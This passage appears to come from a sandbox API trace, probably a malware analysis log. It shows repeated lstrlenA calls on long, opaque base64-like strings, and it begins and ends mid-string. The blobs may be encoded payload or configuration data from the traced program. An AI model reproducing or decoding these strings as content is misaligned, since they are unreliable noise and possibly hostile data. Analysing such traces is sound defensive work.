7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.629] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="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